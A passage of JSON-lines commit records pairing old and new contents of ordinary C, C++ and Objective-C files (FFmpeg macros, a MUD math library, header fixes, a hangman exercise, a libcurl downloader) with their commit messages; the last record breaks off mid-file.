{"commit":"8b5e2775eb7bda289726419e84546147c57f743e","old_file":"libavcodec\/ppc\/types_altivec.h","new_file":"libavcodec\/ppc\/types_altivec.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2006 Guillaume Poirier <gpoirier@mplayerhq.hu>\n *\n * This file is part of FFmpeg.\n *\n * FFmpeg is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * FFmpeg is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with FFmpeg; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n\/***********************************************************************\n * Vector types\n **********************************************************************\/\n#define vec_u8_t  vector unsigned char\n#define vec_s8_t  vector signed char\n#define vec_u16_t vector unsigned short\n#define vec_s16_t vector signed short\n#define vec_u32_t vector unsigned int\n#define vec_s32_t vector signed int\n\n\/***********************************************************************\n * Null vector\n **********************************************************************\/\n#define LOAD_ZERO const vec_u8_t zerov = vec_splat_u8( 0 )\n\n#define zero_u8v  (vec_u8_t)  zerov\n#define zero_s8v  (vec_s8_t)  zerov\n#define zero_u16v (vec_u16_t) zerov\n#define zero_s16v (vec_s16_t) zerov\n#define zero_u32v (vec_u32_t) zerov\n#define zero_s32v (vec_s32_t) zerov\n","subject":"Add useful Altivec types, taken from with permission from x264 authors","message":"Add useful Altivec types, taken from with permission from x264 authors\n\n\ngit-svn-id: a4d7c1866f8397a4106e0b57fc4fbf792bbdaaaf@7125 9553f0bf-9b14-0410-a0b8-cfaf0461ba5b\n","lang":"C","license":"lgpl-2.1","repos":"prajnashi\/ffmpeg,prajnashi\/ffmpeg,prajnashi\/ffmpeg,prajnashi\/ffmpeg"}
{"commit":"3ecaae4ae125440770b67f73bb12e6cf9b0f49b5","old_file":"mudlib\/mud\/home\/Algorithm\/sys\/mathd.c","new_file":"mudlib\/mud\/home\/Algorithm\/sys\/mathd.c","old_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2013  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\nfloat rnd()\n{\n\t\/* use 30 bits of randomness *\/\n\treturn ldexp((float)random(1 << 30), -30);\n}\n\nfloat pi()\n{\n\treturn atan(1.0) * 4.0;\n}\n\nint dice(int faces, int count)\n{\n\tint sum;\n\n\twhile (count) {\n\t\tsum += random(faces) + 1;\n\t\tcount--;\n\t}\n\n\treturn sum;\n}\n","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2013  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\nfloat rnd()\n{\n\t\/* use 30 bits of randomness *\/\n\treturn ldexp((float)random(1 << 30), -30);\n}\n\nfloat bell_rnd(int degree)\n{\n\tfloat sum;\n\tint i;\n\n\tfor (i = 0; i < degree; i++) {\n\t\tsum += rnd();\n\t}\n\n\treturn sum \/ (float)degree;\n}\n\nfloat pi()\n{\n\treturn atan(1.0) * 4.0;\n}\n\nint dice(int faces, int count)\n{\n\tint sum;\n\n\twhile (count) {\n\t\tsum += random(faces) + 1;\n\t\tcount--;\n\t}\n\n\treturn sum;\n}\n","subject":"Add bell curve random number generator","message":"Add bell curve random number generator\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"97f8ff3579a49100610873ec6f35c8b6e5d6f527","old_file":"src\/include\/pool.h","new_file":"src\/include\/pool.h","old_contents":"\/*\n *******************************************************************************************************\n * Static pool maintained to avoid runtime mallocs.\n * It comprises of following pools:\n * 1. Pool for Arraylist\n * 2. Pool for Hashmap\n * 3. Pool for Strings\n * 4. Pool for Integers\n * 5. Pool for Bytes\n *******************************************************************************************************\n *\/\n#define AS_MAX_STORE_SIZE 4096\n\ntypedef struct bytes_static_pool {\n    as_bytes         bytes_pool[AS_MAX_STORE_SIZE];\n    u_int32_t        current_bytes_id;\n} as_static_pool;\n\n#define BYTES_CNT(static_pool)                                                 \\\n    (((as_static_pool *)static_pool)->current_bytes_id)\n\n#define BYTES_POOL(static_pool)                                                \\\n    ((as_static_pool *)static_pool)->bytes_pool\n\n#define GET_BYTES_POOL(map_bytes, static_pool, err)                            \\\n    if (AS_MAX_STORE_SIZE > BYTES_CNT(static_pool)) {                          \\\n        map_bytes = &(BYTES_POOL(static_pool)[BYTES_CNT(static_pool)++]);      \\\n    } else {                                                                   \\\n        as_error_update(err, AEROSPIKE_ERR, \"Cannot allocate as_bytes\");       \\\n    }\n\n#define POOL_DESTROY(static_pool)                                              \\\n\tfor (u_int32_t iter = 0; iter < BYTES_CNT(static_pool); iter++) {          \\\n\t\tas_bytes_destroy(&BYTES_POOL(static_pool)[iter]);                      \\\n\t}\n","new_contents":"\/*\n *******************************************************************************************************\n * Static pool maintained to avoid runtime mallocs.\n * It comprises of following pools:\n * 1. Pool for Arraylist\n * 2. Pool for Hashmap\n * 3. Pool for Strings\n * 4. Pool for Integers\n * 5. Pool for Bytes\n *******************************************************************************************************\n *\/\n#define AS_MAX_STORE_SIZE 4096\n\ntypedef struct bytes_static_pool {\n    as_bytes         bytes_pool[AS_MAX_STORE_SIZE];\n    uint32_t        current_bytes_id;\n} as_static_pool;\n\n#define BYTES_CNT(static_pool)                                                 \\\n    (((as_static_pool *)static_pool)->current_bytes_id)\n\n#define BYTES_POOL(static_pool)                                                \\\n    ((as_static_pool *)static_pool)->bytes_pool\n\n#define GET_BYTES_POOL(map_bytes, static_pool, err)                            \\\n    if (AS_MAX_STORE_SIZE > BYTES_CNT(static_pool)) {                          \\\n        map_bytes = &(BYTES_POOL(static_pool)[BYTES_CNT(static_pool)++]);      \\\n    } else {                                                                   \\\n        as_error_update(err, AEROSPIKE_ERR, \"Cannot allocate as_bytes\");       \\\n    }\n\n#define POOL_DESTROY(static_pool)                                              \\\n\tfor (u_int32_t iter = 0; iter < BYTES_CNT(static_pool); iter++) {          \\\n\t\tas_bytes_destroy(&BYTES_POOL(static_pool)[iter]);                      \\\n\t}\n","subject":"Fix build on alpine linux. u_int32_t => uint32_t","message":"Fix build on alpine linux. u_int32_t => uint32_t","lang":"C","license":"apache-2.0","repos":"aerospike\/aerospike-client-python,aerospike\/aerospike-client-python,aerospike\/aerospike-client-python"}
{"commit":"36d543a3b56dc7cddb63f5734e13db16066933a4","old_file":"arch\/arm\/plat-s3c64xx\/include\/plat\/regs-gpio-memport.h","new_file":"arch\/arm\/plat-s3c64xx\/include\/plat\/regs-gpio-memport.h","old_contents":"","new_contents":"\/* linux\/arch\/arm\/plat-s3c64xx\/include\/mach\/regs-gpio-memport.h\n *\n * Copyright 2008 Openmoko, Inc.\n * Copyright 2008 Simtec Electronics\n *      Ben Dooks <ben@simtec.co.uk>\n *      http:\/\/armlinux.simtec.co.uk\/\n *\n * S3C64XX - GPIO memory port register definitions\n *\/\n\n#ifndef __ASM_PLAT_S3C64XX_REGS_GPIO_MEMPORT_H\n#define __ASM_PLAT_S3C64XX_REGS_GPIO_MEMPORT_H __FILE__\n\n#define S3C64XX_MEM0CONSTOP\tS3C64XX_GPIOREG(0x1B0)\n#define S3C64XX_MEM1CONSTOP\tS3C64XX_GPIOREG(0x1B4)\n\n#define S3C64XX_MEM0CONSLP0\tS3C64XX_GPIOREG(0x1C0)\n#define S3C64XX_MEM0CONSLP1\tS3C64XX_GPIOREG(0x1C4)\n#define S3C64XX_MEM1CONSLP\tS3C64XX_GPIOREG(0x1C8)\n\n#define S3C64XX_MEM0DRVCON\tS3C64XX_GPIOREG(0x1D0)\n#define S3C64XX_MEM1DRVCON\tS3C64XX_GPIOREG(0x1D4)\n\n#endif \/* __ASM_PLAT_S3C64XX_REGS_GPIO_MEMPORT_H *\/\n\n","subject":"Add definitions for the GPIO memory port configurations","message":"[ARM] S3C64XX: Add definitions for the GPIO memory port configurations\n\nAdd defines for the registers that control the GPIO pins that are\nrun the memory interface.\n\nSigned-off-by: Ben Dooks <1177f64998f284a7348354b8e91cbbe575d9858a@fluff.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"2fa1c13c35e1ef5093ca734dae62d89572f06eaf","old_file":"alura\/c\/forca.c","new_file":"alura\/c\/forca.c","old_contents":"#include <stdio.h>\n\nint main() {\n  char palavrasecreta[20];\n\n  sprintf(palavrasecreta, \"MELANCIA\");\n\n  int acertou = 0;\n  int enforcou = 0;\n\n  do {\n    \/\/ comecar o nosso jogo!!\n\n  } while(!acertou && !enforcou);\n\n}\n","new_contents":"#include <stdio.h>\n#include <string.h>\n\nint main() {\n  char palavrasecreta[20];\n\n  sprintf(palavrasecreta, \"MELANCIA\");\n\n  int acertou = 0;\n  int enforcou = 0;\n\n  do {\n    char chute;\n    scanf(\"%c\", &chute);\n\n    for(int i = 0; i < strlen(palavrasecreta); i++) {\n      if(palavrasecreta[i] == chute) {\n        printf(\"A posição %d tem essa letra!\\n\", i);\n      }\n    }\n\n  } while(!acertou && !enforcou);\n\n}\n","subject":"Update files, Alura, Introdução a C - Parte 2, Aula 2.4","message":"Update files, Alura, Introdução a C - Parte 2, Aula 2.4\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"}
{"commit":"86d5c7ee15199c2dc3300978a5393ca1492f8569","old_file":"template_3\/daemon3.c","new_file":"template_3\/daemon3.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <errno.h>\n#include <signal.h>\n\n\n#include \"daemon.h\"\n\n\n\n\n\nvoid daemon_exit_handler(int sig)\n{\n\n    \/\/Here we release resources\n\n\n\n#ifdef  DAEMON_PID_FILE_NAME\n    unlink(DAEMON_PID_FILE_NAME);\n#endif\n\n\n    _exit(EXIT_FAILURE);\n}\n\n\n\nvoid init_signals(void)\n{\n\n    struct sigaction sa;\n\n    memset(&sa, 0, sizeof(sa));\n    sa.sa_handler = daemon_exit_handler;\n    if( sigaction(SIGTERM, &sa, NULL) != 0)\n        daemon_error_exit(\"Can't set daemon_exit_handler: %m\\n\");\n\n\n\n    signal(SIGCHLD, SIG_IGN); \/\/ ignore child\n    signal(SIGTSTP, SIG_IGN); \/\/ ignore tty signals\n    signal(SIGTTOU, SIG_IGN);\n    signal(SIGTTIN, SIG_IGN);\n    signal(SIGHUP, SIG_IGN);\n}\n\n\n\nint main(void)\n{\n\n    daemonize();\n    init_signals();\n\n\n\n    while(1)\n    {\n\n        \/\/ Here а routine of daemon\n\n        printf(\"%s: daemon is run\\n\", DAEMON_NAME);\n        sleep(10);\n    }\n\n\n\n    return EXIT_SUCCESS; \/\/ good job (we interrupted (finished) main loop)\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <errno.h>\n#include <string.h>\n#include <signal.h>\n\n\n#include \"daemon.h\"\n\n\n\n\n\nvoid daemon_exit_handler(int sig)\n{\n\n    \/\/Here we release resources\n\n\n\n#ifdef  DAEMON_PID_FILE_NAME\n    unlink(DAEMON_PID_FILE_NAME);\n#endif\n\n\n    _exit(EXIT_FAILURE);\n}\n\n\n\nvoid init_signals(void)\n{\n\n    struct sigaction sa;\n\n    memset(&sa, 0, sizeof(sa));\n    sa.sa_handler = daemon_exit_handler;\n    if( sigaction(SIGTERM, &sa, NULL) != 0)\n        daemon_error_exit(\"Can't set daemon_exit_handler: %m\\n\");\n\n\n\n    signal(SIGCHLD, SIG_IGN); \/\/ ignore child\n    signal(SIGTSTP, SIG_IGN); \/\/ ignore tty signals\n    signal(SIGTTOU, SIG_IGN);\n    signal(SIGTTIN, SIG_IGN);\n    signal(SIGHUP, SIG_IGN);\n}\n\n\n\nint main(void)\n{\n\n    daemonize();\n    init_signals();\n\n\n\n    while(1)\n    {\n\n        \/\/ Here а routine of daemon\n\n        printf(\"%s: daemon is run\\n\", DAEMON_NAME);\n        sleep(10);\n    }\n\n\n\n    return EXIT_SUCCESS; \/\/ good job (we interrupted (finished) main loop)\n}\n","subject":"Fix warning: implicit declaration of function memset","message":"template_3: Fix warning: implicit declaration of function memset\n","lang":"C","license":"bsd-3-clause","repos":"KoynovStas\/daemon_templates,KoynovStas\/daemon_templates"}
{"commit":"8aa59774ab4655ca1562a86641eed78979dd8359","old_file":"gfx_utils\/matrix_test.c","new_file":"gfx_utils\/matrix_test.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include \"matrix.h\"\n\nint main() {\n    matrix *a = new_matrix(3, 4);\n    int i; for (i = 0; i < a->rows; i++) {\n        int j; for (j = 0; j < a->cols; j++) {\n            a->contents[i][j] = i * a->cols + j;\n        }\n    }\n    print_matrix(a);\n    printf(\"\\n\\n\");\n\n    matrix *b = new_matrix(4, 5);\n    for (i = 0; i < b->rows; i++) {\n        int j; for (j = 0; j < b->cols; j++) {\n            b->contents[i][j] = i * b->cols + j;\n        }\n    }\n    print_matrix(b);\n    printf(\"\\n\\n\");\n\n    matrix *c = cross_product(a, b);\n    print_matrix(c);\n    printf(\"\\n\\n\");\n\n    scalar_multiply(a, 3);\n    print_matrix(a);\n\n    free_matrix(a);\n    free_matrix(b);\n    free_matrix(c);\n    return 0;\n}\n\n","subject":"Add a test file for matrix functions","message":"Add a test file for matrix functions\n","lang":"C","license":"mit","repos":"elc1798\/stuy-gfx-utils"}
{"commit":"1330c19065127dc9ed2ceb032568beee047c36fe","old_file":"include\/cpr\/multipart.h","new_file":"include\/cpr\/multipart.h","old_contents":"#ifndef CPR_MULTIPART_H\n#define CPR_MULTIPART_H\n\n#include <initializer_list>\n#include <string>\n#include <vector>\n\n#include \"defines.h\"\n\nnamespace cpr {\n\nstruct File {\n    template <typename StringType>\n    File(StringType&& filepath) : filepath{CPR_FWD(filepath)} {}\n    std::string filepath;\n};\n\nstruct Part {\n    Part(const std::string& name, const std::string& value, const std::string& content_type = {})\n            : name{name}, value{value}, content_type{content_type}, is_file{false} {}\n    Part(const std::string& name, const int& value, const std::string& content_type = {})\n            : name{name}, value{std::to_string(value)}, content_type{content_type}, is_file{false} {\n    }\n    Part(const std::string& name, const File& file, const std::string& content_type = {})\n            : name{name}, value{file.filepath}, content_type{content_type}, is_file{true} {}\n\n    std::string name;\n    std::string value;\n    std::string content_type;\n    bool is_file;\n};\n\nclass Multipart {\n  public:\n    Multipart(const std::initializer_list<Part>& parts);\n\n    std::vector<Part> parts;\n};\n\n} \/\/ namespace cpr\n\n#endif\n","new_contents":"#ifndef CPR_MULTIPART_H\n#define CPR_MULTIPART_H\n\n#include <initializer_list>\n#include <string>\n#include <vector>\n\n#include \"defines.h\"\n\nnamespace cpr {\n\nstruct File {\n    template <typename StringType>\n    explicit File(StringType&& filepath) : filepath{CPR_FWD(filepath)} {}\n    std::string filepath;\n};\n\nstruct Part {\n    Part(const std::string& name, const std::string& value, const std::string& content_type = {})\n            : name{name}, value{value}, content_type{content_type}, is_file{false} {}\n    Part(const std::string& name, const int& value, const std::string& content_type = {})\n            : name{name}, value{std::to_string(value)}, content_type{content_type}, is_file{false} {\n    }\n    Part(const std::string& name, const File& file, const std::string& content_type = {})\n            : name{name}, value{file.filepath}, content_type{content_type}, is_file{true} {}\n\n    std::string name;\n    std::string value;\n    std::string content_type;\n    bool is_file;\n};\n\nclass Multipart {\n  public:\n    Multipart(const std::initializer_list<Part>& parts);\n\n    std::vector<Part> parts;\n};\n\n} \/\/ namespace cpr\n\n#endif\n","subject":"Use explicit constructor for File to resolve template deductions","message":"Use explicit constructor for File to resolve template deductions\n","lang":"C","license":"mit","repos":"msuvajac\/cpr,msuvajac\/cpr,msuvajac\/cpr,whoshuu\/cpr,whoshuu\/cpr,whoshuu\/cpr"}
{"commit":"ceaae28b67ee521c6b0d8c04a7d8f989ff2598bb","old_file":"src\/server_tasks.h","new_file":"src\/server_tasks.h","old_contents":"#include \"telit_HE910.h\"\n\nnamespace openxc {\nnamespace server_task {\n\t\nvoid openxc::server_task::firmwareCheck(TelitDevice* device);\nvoid openxc::server_task::flushDataBuffer(TelitDevice* device);\nvoid openxc::server_task::commandCheck(TelitDevice* device);\n\t\n}\n}","new_contents":"#include \"telit_he910.h\"\n\nnamespace openxc {\nnamespace server_task {\n\nvoid openxc::server_task::firmwareCheck(TelitDevice* device);\nvoid openxc::server_task::flushDataBuffer(TelitDevice* device);\nvoid openxc::server_task::commandCheck(TelitDevice* device);\n\n}\n}\n","subject":"Fix case of an include to support crossplatform compilation.","message":"Fix case of an include to support crossplatform compilation.\n","lang":"C","license":"bsd-3-clause","repos":"ene-ilies\/vi-firmware,openxc\/vi-firmware,ene-ilies\/vi-firmware,openxc\/vi-firmware,openxc\/vi-firmware,ene-ilies\/vi-firmware,ene-ilies\/vi-firmware,openxc\/vi-firmware"}
{"commit":"aa960ff4ec71089b69be81ec1f6d3f86f10c61ee","old_file":"NHL95DBEditor\/src\/player_key.c","new_file":"NHL95DBEditor\/src\/player_key.c","old_contents":"#include <stdio.h>\n#include \"player_key.h\"\n\nbool_t key_is_goalie(player_key_t *key)\n{\n  return key->position == 'G';\n}\n\nvoid show_key_player(player_key_t *key, size_t ofs_key)\n{\n  size_t i;\n\n  printf(\"T: %2u NO: %2u POS: %c NAME: %-15s %-15s\",\n         key->team, key->jersey, key->position, key->first, key->last);\n\n  printf(\" OFS_KEY: %4x OFS_ATT: %4x OFS_CAR: %4x OFS_SEA: %4x\",\n         ofs_key, key->ofs_attributes, key->ofs_career_stats, key->ofs_season_stats);\n\n  printf(\" UNKNOWN: \");\n  for (i = 0; i < sizeof(key->unknown); i++)\n    {\n      printf(\"%3u \", key->unknown[i]);\n    }\n}\n","new_contents":"#include <stdio.h>\n#include \"player_key.h\"\n\nbool_t key_is_goalie(player_key_t *key)\n{\n  return key->position == 'G';\n}\n\nvoid show_key_player(player_key_t *key, size_t ofs_key)\n{\n  size_t i;\n\n  printf(\"T: %3u NO: %2u POS: %c NAME: %-15s %-15s\",\n         key->team, key->jersey, key->position, key->first, key->last);\n\n  printf(\" OFS_KEY: %4x OFS_ATT: %4x OFS_CAR: %4x OFS_SEA: %4x\",\n         ofs_key, key->ofs_attributes, key->ofs_career_stats, key->ofs_season_stats);\n\n  printf(\" UNKNOWN: \");\n  for (i = 0; i < sizeof(key->unknown); i++)\n    {\n      printf(\"%3u \", key->unknown[i]);\n    }\n}\n","subject":"Align free agents (team index 255) with the rest","message":"Align free agents (team index 255) with the rest\n","lang":"C","license":"mit","repos":"peruukki\/NHL95DBEditor,peruukki\/NHL95DBEditor"}
{"commit":"cf20ae24a70260c732b62f048bbcadfdee07be99","old_file":"src\/TimingHelpers.h","new_file":"src\/TimingHelpers.h","old_contents":"\/*\nCopyright (C) 2015 George White <stonehippo@gmail.com>, All rights reserved.\n\nSee https:\/\/raw.githubusercontent.com\/stonehippo\/sploder\/master\/LICENSE.txt for license details. \n*\/\n\n\/\/ ******************* Timing helpers ******************* \nvoid startTimer(long &timer) {\n  timer = millis(); \n}\n\nboolean isTimerExpired(long &timer, int expiration) {\n  long current = millis() - timer;\n  return current > expiration;\n}\n\nvoid clearTimer(long &timer) {\n  timer = 0; \n}\n","new_contents":"\/*\nCopyright (C) 2015 George White <stonehippo@gmail.com>, All rights reserved.\n\nSee https:\/\/raw.githubusercontent.com\/stonehippo\/sploder\/master\/LICENSE.txt for license details. \n*\/\n\n\/\/ ******************* Timing helpers ******************* \nvoid startTimer(long &timer) {\n  timer = millis(); \n}\n\nboolean isTimerExpired(long &timer, long expiration) {\n  long current = millis() - timer;\n  return current > expiration;\n}\n\nvoid clearTimer(long &timer) {\n  timer = 0; \n}\n","subject":"Fix bug in timer comparison","message":"Fix bug in timer comparison \n\nThe expiration time was being cast to an int, truncating longer timeouts.","lang":"C","license":"mit","repos":"stonehippo\/sploder,stonehippo\/sploder"}
{"commit":"4545c54ecd4b9cbc13033008c78c403da996f990","old_file":"CCKit\/CCLoadingController.h","new_file":"CCKit\/CCLoadingController.h","old_contents":"\/\/\n\/\/  CCLoadingController.h\n\/\/  CCKit\n\/\/\n\/\/  Created by Leonardo Lobato on 3\/15\/13.\n\/\/  Copyright (c) 2013 Cliq Consulting. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@protocol CCLoadingControllerDelegate;\n\n@interface CCLoadingController : NSObject\n\n@property (nonatomic, readonly) UIView *loadingView;\n@property (nonatomic, weak) id<CCLoadingControllerDelegate> delegate;\n\n- (void)showLoadingView:(BOOL)show animated:(BOOL)animated;\n\n@end\n\n\n@protocol CCLoadingControllerDelegate <NSObject>\n- (UIView *)parentViewForLoadingController:(CCLoadingController *)controller;\n@optional;\n- (UIView *)loadingControllerShouldBeDisplayedBelowView:(CCLoadingController *)controller;\n- (NSString *)titleForLoadingViewOnLoadingController:(CCLoadingController *)controller;\n@end","new_contents":"\/\/\n\/\/  CCLoadingController.h\n\/\/  CCKit\n\/\/\n\/\/  Created by Leonardo Lobato on 3\/15\/13.\n\/\/  Copyright (c) 2013 Cliq Consulting. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@protocol CCLoadingControllerDelegate;\n\n@interface CCLoadingController : NSObject\n\n@property (nonatomic, readonly) UIView *loadingView;\n#if __has_feature(objc_arc)\n@property (nonatomic, weak) id<CCLoadingControllerDelegate> delegate;\n#else\n@property (nonatomic, assign) id<CCLoadingControllerDelegate> delegate;\n#endif\n\n- (void)showLoadingView:(BOOL)show animated:(BOOL)animated;\n\n@end\n\n\n@protocol CCLoadingControllerDelegate <NSObject>\n- (UIView *)parentViewForLoadingController:(CCLoadingController *)controller;\n@optional;\n- (UIView *)loadingControllerShouldBeDisplayedBelowView:(CCLoadingController *)controller;\n- (NSString *)titleForLoadingViewOnLoadingController:(CCLoadingController *)controller;\n@end","subject":"Fix build for non-arc projects","message":"Fix build for non-arc projects\n\nDoes **not** add no-arc support. Project will leak.\n","lang":"C","license":"mit","repos":"cliq\/CCKit"}
{"commit":"1c7cbfa6649a16fdeb37b489be5f3e63114ecab3","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       8\n#define CLIENT_VERSION_REVISION    0\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       8\n#define CLIENT_VERSION_REVISION    1\n#define CLIENT_VERSION_BUILD       99\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  false\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Switch version numbers to 0.8.1.99","message":"Switch version numbers to 0.8.1.99\n","lang":"C","license":"mit","repos":"domob1812\/crowncoin,Infernoman\/crowncoin,Crowndev\/crowncoin,dobbscoin\/dobbscoin-source,syscoin\/syscoin,syscoin\/syscoin,Earlz\/dobbscoin-source,Infernoman\/crowncoin,Earlz\/dobbscoin-source,domob1812\/crowncoin,Crowndev\/crowncoin,Earlz\/dobbscoin-source,Infernoman\/crowncoin,dobbscoin\/dobbscoin-source,syscoin\/syscoin,dobbscoin\/dobbscoin-source,Earlz\/dobbscoin-source,dobbscoin\/dobbscoin-source,syscoin\/syscoin,Infernoman\/crowncoin,syscoin\/syscoin,domob1812\/crowncoin,Infernoman\/crowncoin,domob1812\/crowncoin,Crowndev\/crowncoin,Crowndev\/crowncoin,Infernoman\/crowncoin,domob1812\/crowncoin,Crowndev\/crowncoin,Crowndev\/crowncoin,syscoin\/syscoin,syscoin\/syscoin,domob1812\/crowncoin,syscoin\/syscoin,dobbscoin\/dobbscoin-source,Earlz\/dobbscoin-source,dobbscoin\/dobbscoin-source,Earlz\/dobbscoin-source"}
{"commit":"0e1cacf1a4ced899e63d339591c9ed18556e840d","old_file":"include\/ccspec.h","new_file":"include\/ccspec.h","old_contents":"#ifndef CCSPEC_H_\n\n#include \"ccspec\/expectation_target.h\"\n#include \"ccspec\/matcher.h\"\n#include \"ccspec\/matchers.h\"\n\n#endif \/\/ CCSPEC_H_\n","new_contents":"#ifndef CCSPEC_H_\n#define CCSPEC_H_\n\n#include \"ccspec\/expectation_target.h\"\n#include \"ccspec\/matcher.h\"\n#include \"ccspec\/matchers.h\"\n\n#endif \/\/ CCSPEC_H_\n","subject":"Add missing definition for include guard","message":"Add missing definition for include guard\n","lang":"C","license":"mit","repos":"michaelachrisco\/ccspec,michaelachrisco\/ccspec,tempbottle\/ccspec,tempbottle\/ccspec,tempbottle\/ccspec,zhangsu\/ccspec,michaelachrisco\/ccspec,zhangsu\/ccspec,zhangsu\/ccspec"}
{"commit":"06c3836a83cf2a0e4bdedde721f29489f9523e56","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"\/\/ main.c\n\/\/ Main Program for HWP Media Center\n\/\/\n\/\/ Author : Weipeng He <heweipeng@gmail.com>\n\/\/ Copyright (c) 2014, All rights reserved.\n\n#include \"utils.h\"\n\n#include <stdio.h>\n#include <curl\/curl.h>\n\nsize_t write_data(void *buffer, size_t size, size_t nmemb, void *dstr) {\n  d_string* str = (d_string*) dstr;\n  dstr_ncat(str, buffer, size * nmemb);\n  return nmemb;\n}\n\nint main(int argc, char** argv) {\n  CURL* curl;\n  CURLcode res;\n\n  curl = curl_easy_init();\n\n  if (curl) {\n    curl_easy_setopt(curl, CURLOPT_URL, argv[1]);\n\n    d_string* content = dstr_alloc();\n    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);\n    curl_easy_setopt(curl, CURLOPT_WRITEDATA, content);\n\n    res = curl_easy_perform(curl);\n    if (res != CURLE_OK) {\n      fprintf(stderr, \"curl_easy_perform() failed: %s\\n\", curl_easy_strerror(res));\n    }\n\n    printf(\"size=%d, cap=%d\\n%s\", content->size, content->cap, content->str);\n\n    dstr_free(content);\n    curl_easy_cleanup(curl);\n  }\n\n  return 0;\n}\n\n","new_contents":"\/\/ main.c\n\/\/ Main Program for HWP Media Center\n\/\/\n\/\/ Author : Weipeng He <heweipeng@gmail.com>\n\/\/ Copyright (c) 2014, All rights reserved.\n\n#include \"utils.h\"\n\n#include <stdio.h>\n#include <curl\/curl.h>\n\nsize_t write_data(void *buffer, size_t size, size_t nmemb, void *dstr) {\n  d_string* str = (d_string*) dstr;\n  dstr_ncat(str, buffer, size * nmemb);\n  return nmemb;\n}\n\nint main(int argc, char** argv) {\n  CURL* curl;\n  CURLcode res;\n\n  curl = curl_easy_init();\n\n  if (curl) {\n    curl_easy_setopt(curl, CURLOPT_URL, argv[1]);\n    curl_easy_setopt(curl, CURLOPT_USERAGENT, \"hwp\"); \n\n    d_string* content = dstr_alloc();\n    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);\n    curl_easy_setopt(curl, CURLOPT_WRITEDATA, content);\n\n    res = curl_easy_perform(curl);\n    if (res != CURLE_OK) {\n      